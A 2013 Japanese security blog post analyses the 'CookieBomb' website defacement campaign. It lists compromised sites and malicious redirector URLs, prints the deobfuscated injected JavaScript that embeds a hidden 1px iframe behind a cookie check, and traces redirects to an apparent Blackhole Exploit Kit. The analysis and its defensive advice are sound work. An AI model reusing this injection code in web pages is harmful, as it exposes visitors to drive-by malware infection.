相次ぐWebサイト改ざん被害 遅れる対応 -CookieBomb-

9 分で読める

IPA: 2013年6月の呼びかけ「 ウェブサイトが改ざんされないように対策を! 」
Trend Micro Security Blog: 日本のWebサイト改ざんを複数確認:PCは常に最新状態に!

どうも最近、先月末頃からWebサイト改ざん被害の報告が増加しているとのニュースが・・・
改ざんされたページを見るにウェブアプリケーションの脆弱性をついた攻撃による改ざん被害が見受けられます。
また、各所での報告によるとGumblarの時みたいにFTP・SSHアカウントの漏洩などが原因で改ざんされた例も多くあるようです。
全体的なことは上記リンクを読んでいただくとして。

改ざんが確認できたサイト

不用意なアクセスはお止め下さい。
※改ざんにより挿入されたスクリプトが動作する状態か否かは問いません

hxxp://www.starmise.com/
hxxp://www.nifa.co.jp/
hxxp://www.guitaristlip.com/
hxxp://arcwet.jp/
hxxp://www.nanbunoyu.jp/
hxxp://kesennumafs.com/
hxxp://www.fukushima-buysell.com/
hxxp://www.fukushima-l.com/
hxxp://hoopboy.net/
hxxp://www.domusde.com/customhome/
hxxp://salon-kou.com/
hxxp://cattleya.sitemix.jp/
hxxp://www.tohot.jp/
hxxp://www.nanbunoyu.jp/wp/
hxxp://www.createur-net.com/
hxxp://mpunet.ddo.jp/nfa/
hxxp://teramoto-law.jp/
hxxp://minikiti.wiki2.jp/
hxxp://www.ginzado.ne.jp/~kamojc/2013hp/
hxxp://obieiichiko.xsrv.jp/
hxxp://www.ruri-diet.jp/
hxxp://www.club-god.com/
hxxp://www.ikiiki-nankan.com/
hxxp://www.niccori-maccori.jp/
hxxp://www.azure-labo.com/mobile/contact/
hxxp://www.okamoto-denki.co.jp/
hxxp://k-kami.sakura.ne.jp/
hxxp://auseiki.com/
hxxp://rt-tokugawa.com/
hxxp://chiyoichi.com/

改ざん内容

今回もよくある難読化されたJavaScript(Obfuscated JavaScript)が挿入されます。
また、.htaccessファイルがmod_rewriteでリダイレクトされるように改ざんされる例も報告があります。
いわゆるRedirectorという奴ですね。
一連の改ざん被害としてはコメント「0c0896」が目印のようです。

中には改ざんされたもののサニタイズされたことにより、かろうじてScriptが実行不可能な状態であるサイトもありました。

挿入されたJavaScriptの例1:
obfuscated_code1

挿入されたJavaScriptの例2:
obfuscated_code2

では、(例1)をみてみましょう。まずコードを整形します。
obfuscated_code1_1

で、実際に実行されているのは

function zzzfff()
{
    var <random strings> = document.createElement('iframe');
    <random strings>.src = '<Redirector URL>';
    <random strings>.style.position = 'absolute';
    <random strings>.style.border = '0';
    <random strings>.style.height = '1px';
    <random strings>.style.width = '1px';
    <random strings>.style.left = '1px';
    <random strings>.style.top = '1px';
    if (!document.getElementById('<random strings>'))
    {
        document.write('<div id=\'<random strings>\'></div>');
        document.getElementById('<random strings>').appendChild(<random strings>);
    }
}
function SetCookie(cookieName, cookieValue, nDays, path)
{
    var today = new Date();
    var expire = new Date();
    if (nDays == null || nDays == 0) {
        nDays = 1;
    }
    expire.setTime(today.getTime() + 3600000 * 24 * nDays);
    document.cookie = cookieName + "=" + escape(cookieValue) + ";expires=" + expire. toGMTString() + ((path) ? "; path=" + path : "");
}
function GetCookie(name)
{
    var start = document.cookie.indexOf(name + "=");
    var len = start + name.length + 1;
    if ((!start) && (name != document.cookie.substring(0, name.length))) {
        return null;
    }
    if (start == - 1) {
        return null;
    }
    var end = document.cookie.indexOf(";", len);
    if (end == - 1) {
        end = document.cookie.length;
    }
    return unescape(document.cookie.substring(len, end));
}
if (navigator.cookieEnabled)
{
    if (GetCookie('visited_uq') == 55) { }
    else {
        SetCookie('visited_uq', '55', '1', '/');
        zzzfff();
    }
}

function zzzfff() 」にて、悪意のあるサーバーへアクセスされるためのiframeが1pxのサイズで埋め込まれます。
他には「function SetCookie」「function GetCookie」なるCookieの設定・取得関数があり、
「if (navigator.cookieEnabled) 」でCookieが有効な場合、Cookieの値(visited_uq == 55)が発動する条件のようです。
恐らく、二度目以降のアクセスでは発動しないようにしているのではないでしょうか。

試しにiframeのURL「hxxp://goldhealer.com/traf.php」にアクセスしたところ・・・

--2013-06-06 01:04:24--  hxxp://goldhealer.com/traf.php
goldhealer.com (goldhealer.com) をDNSに問いあわせています... 173.248.142.19
Caching goldhealer.com => 173.248.142.19
goldhealer.com (goldhealer.com)|173.248.142.19|:80 に接続しています... 接続しました。

HTTP による接続要求を送信しました、応答を待っています...
---response begin---
HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: PHP/5.2.17
X-Powered-By: ASP.NET
Date: Wed, 05 Jun 2013 16:04:29 GMT
Content-Length: 4
---response end---

で、「ok」と返ってきただけでした。
私がアクセスした時点ではExploit Kitを踏まされたりマルウェアをロードされたりということはありませんでした。
何らかの条件によってレスポンスが変わるのか、攻撃者が止めているのかわかりません。
恐らくはExploit Kitに送り込んで成功すれば、Fake AV/Optimizer系のマルウェアがロードされると思われます。

原因・対策

IPAのデータにもあるように、多くはWordPressやJoomla!などのCMSやParallels Plesk Panelといった管理ツールなどWebアプリケーションの脆弱性を突いた攻撃によるものです。
例え強固なパスワードを使用していたとしても、このような攻撃を受けては無力です。
改ざんされたサイトを見ていると、脆弱性が発見されている古いバージョンを使用していることが多く見受けられます。
もちろん、FTPアカウントや管理PCなどのセキュリティ対策も怠ってはいけません。(FTPは暗号化通信対応のFTPS or SFTP推奨)
Webサイトの運用・管理体制の見直しが必要でしょう。
まあ、何より大事なのは必要な情報を信頼性のあるソースから収集して対策・運用することですよね。

閲覧者・ユーザーとしては、JRE・Adobe Flash/Reader/Acrobat・Internet Explorerなどを最新版にアップデートすることを欠かさないようにしましょう。
改ざんサイトにアクセスしてExploit Kitへリダイレクトされても、脆弱性対策を行なってさえいれば攻撃が成功することはありません。
こうした攻撃はなかなかセキュリティ対策ソフトの対応が間に合わないことも多いので十分気をつけましょう。

コメント

今回は、多くの企業・団体が改ざんされ各種報道されましたが、以前から改ざん攻撃は絶え間なく行われています。
あまり表にはでませんが、多くの個人運営のサイト・ブログの改ざん被害が相当数あると思われます。
これらはアクセスしただけで何らかのマルウェアがロードされる、いわゆるドライブバイダウンロードを行う悪意のあるサーバーへリダイレクトさせる踏み台なのです。
知らずのうちに多くの閲覧者にマルウェアをばらまいてしまうことになるのです。

改ざん被害に遭われたサイトを見ていると、対応が遅いこともありますし、また何事もなかったかのように復旧していることも多いのです。
マイナスイメージとなるので隠したいのも分かりますが、きちんと改ざんの事実を公表・原因究明とともに、閲覧者への謝罪及び注意喚起をするべきでしょう。

追記

改ざんサイトのまとめ的なもの。多くの企業・団体が被害を受けたことが分かる。

piyolog: 5月から多発しているHP改ざんインシデントをまとめてみた。
wakatonoの戯れメモ: 2013-06-05 あちこちで改ざん?
2013-06-08 現在,改ざんされたWebサイトが修正されている最中らしい

そういえば、今回の改ざんによって挿入されたJavaScriptのアンチマルウェアによる検出結果を参考までに。
適当に4つほどVirusTotalに上げただけで、あまり意味は無いかもしれませんが。

<th>
  検出数
</th>

<th>
  スキャン結果リンク
</th>
<td>
  20 / 47
</td>

<td>
  <a href="https://www.virustotal.com/ja/file/6ce3eeafccdfbf219b868033004247e5d4bd99733aebe710a98a9127251e4225/analysis/" target="_blank">VirusTotal</a>
</td>
<td>
  12 / 47
</td>

<td>
  <a href="https://www.virustotal.com/ja/file/87e6f07dc3183cc935244c7506a92b36acfa427717f368ec795e97c23da8b976/analysis/1370518931/" target="_blank">VirusTotal</a>
</td>
<td>
  11 / 47
</td>

<td>
  <a href="https://www.virustotal.com/ja/file/3728bbdf2033df477c4ff8be6da8be1c76847e73a57416d208c581d79dcfe061/analysis/1370519053/" target="_blank">VirusTotal</a>
</td>
<td>
  11 / 47
</td>

<td>
  <a href="https://www.virustotal.com/ja/file/f2f584220b023fa0dc46bba7c8e6c510b052ae9d513ce791c876ce92778e982c/analysis/1370519254/" target="_blank">VirusTotal</a>
</td>
検体
1
2
3
4

ぼちぼち検出できているようで、HTTPスキャンが有効であれば水際で防ぐことが可能かもしれません。
検出名や、改ざんコード・URL等からBlackHole Exploit Kitっぽいですね。
が、リダイレクト先のレスポンスよくわからないので正確なことはわかりません。

メモ:確認したリダイレクタURL

※こちらも不用意なアクセスは厳禁です。
改ざんされたサイトに埋め込まれたJavaScriptが実行されることにより、iframeで以下のURLにアクセスさせ、さらに302リダイレクトでExploitのランディングページに飛ばされるみたいです。
表面上、改ざんされたサイトばかりが話題に上がって、Redirectorについてはあまり言及しているところがありませんね…
これらも不正アクセスによって設置された可能性が高く、国内サーバーもちらほらあります。

[改ざんされたサイト] ==> [Redirector(クッションページ的な)] ==> [攻撃サーバー(Exploit Kit)]

このPHPファイルの中身が知りたいな…

hxxp://goldhealer.com/traf.php
hxxp://nwloanstore.com/traf.php
hxxp://ritewayatl.com/css/traf.php
hxxp://ashwintools.com/UserFiles/dtd.php
hxxp://heidarabians.com/dtd.php
hxxp://ashwintools.com/UserFiles/dtd.php
hxxp://canadianbaconpopcorn.com/esd.php
hxxp://galadetalles.com/components/clik.php
hxxp://hexagonsport.es/components/relay.php
hxxp://fotoverzino.com/ADMINISTRATOR/traf.php
hxxp://www.fgassemblaggi.it/logs/counter.php
hxxp://fpm-solutions.net/clicker.php
hxxp://heidarabians.com/dtd.php
hxxp://harav-boaron.co.il/cnt.php
hxxp://ccs-boiler.com/wp-includes/clk.php
hxxp://webetry.com/blog/count.php
hxxp://www.pcacomms.net/clicker.php
hxxp://harav-boaron.co.il/cnt.php
hxxp://maresigorta.com.tr/rel.php
hxxp://vsi.co.il/dtd.php
hxxp://oosaka-boseki.com/relay.php
hxxp://goldhealer.com/traf.php
hxxp://handinhand.co.jp/counter.php
hxxp://www.whitconllc.com/PurposeofCriminalSanctions/cnt.php
hxxp://www.moveisworkshop.com.br/ambientres/clk.php
hxxp://kidneyla.org/clk.php
hxxp://miss-boys.com/clk.php
hxxp://www.square-werbeagentur.de/images/clicker.php
hxxp://markbruinink.nl/wp-admin/cnt.php
hxxp://download.learninweb.com/clk.php
hxxp://pure-deai2013.com/traf.php
hxxp://jungsma.com/Scripts/relay.php
hxxp://modaevleri.net/media/relay.php
hxxp://www.verdaedevelopment.com/_js/relay.php
hxxp://www.verdaedevelopment.com/sendmail/cnt.php
hxxp://maresigorta.com.tr/rel.php

2013/6/9 追加しました。こちらもクラックされたサイトが多いようです。
徐々に404が返ってきたり、対応は進んでいるようですが…改ざんサイトと同時にこちらを潰すのも大切かもしれません。

[追記]

Malware Must Dieでは「CookieBomb」と呼ばれているようですね。興味深い調査内容です。

A mistery of Malware URL “cnt.php” Redirection Method with Apache’s mod_rewrite.c’s RewriteCond in .htaccess
Proof of Concept of “CookieBomb” code injection attack

リダイレクト先の調査、BHEK

もう一度、埋め込まれたiframeのURLのレスポンスを確認してみた。
空白だったり、「ok」のみが返されるだけで、リダイレクトが発動されるには何か条件があるのでしょう。
しばらくいじってると突然302でリダイレクトされた・・・が、残念、404でした。

GET http://www.fgassemblaggi.it/logs/counter.php
---response begin---
HTTP/1.1 302 Found
Date: Fri, 07 Jun 2013 13:54:52 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze14
Location: http://lan2wave.com/161e8fdc56f715bb/z.php
Vary: Accept-Encoding
Content-Type: text/html
Content-Length: 0
---response end---

GET http://lan2wave.com/161e8fdc56f715bb/z.php
---response begin---
HTTP/1.1 404 Not Found
Date: Fri, 07 Jun 2013 13:54:30 GMT
Server: Apache/2.0.64 (Unix) mod_ssl/2.0.64 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.3.25 mod_perl/2.0.6 Perl/v5.8.8
Content-Length: 558
Content-Type: text/html; charset=iso-8859-1
---response end---

懲りずにプロキシ噛ましたりリフェラいじったりしてアクセスしていたら、またリダイレクトされました。
間違えてアクセスログを消しちゃってどこからリダイレクトされたのか分からなくなっちゃいました、すみません(汗;

==================================================
URL               : http://129.121.216.97/96c71db6d1cc08bb90dbfe9913a3b39b/a.php
Content Type      : text/html
File Size         : 107,385
Last Accessed     : 2013/06/07 23:07:37
Server Time       : 2013/06/07 23:04:36
Server Name       : nginx/1.0.15
Server Response   : HTTP/1.1 200 OK
==================================================

こんな感じのレスポンスが…Blackhole Exploit Kitっぽいですね。
bhek1

一応デコードしたものををPastebinに上げときました。

http://pastebin.com/ez7EDCDA

で、Shellcodeは
Shellcode
unescapeすると・・・
Shellcode hex
で、さらに0x28でXORすると・・・
Shellcode xor
ペイロードと思しきURLが見えましたが、残念ながらアクセスすると404でした。

Trend Micro Security Blog: 国内Webサイト改ざん事例続報:攻撃手法の詳細と得られる対策の教訓

TrendMicroの解析によるとペイロードの実行ファイルは実行可能なものではなかったようです。
しかしながら、確かに過去の事例を見ますとレスポンスがコロコロ変わっていつ攻撃態勢になるかわかりませんね。
改ざん攻撃、及び改ざんの復旧対応は徐々に収束しつつありますが、未だ手付かずのサイトも多くあります。
しばらくは、注意深く見守る必要がありそうです。

2013/06/29 追記

久々に巡回していたところ、収束してきてはいますが未だに攻撃は継続している?

恐らく最近改ざんされたであろうサイトは、ちょっと今までとJavaScriptの難読化に違いが有りました。
沈静化とはまだ言えない状況です。
obfuscated_code3

comments powered by Disqus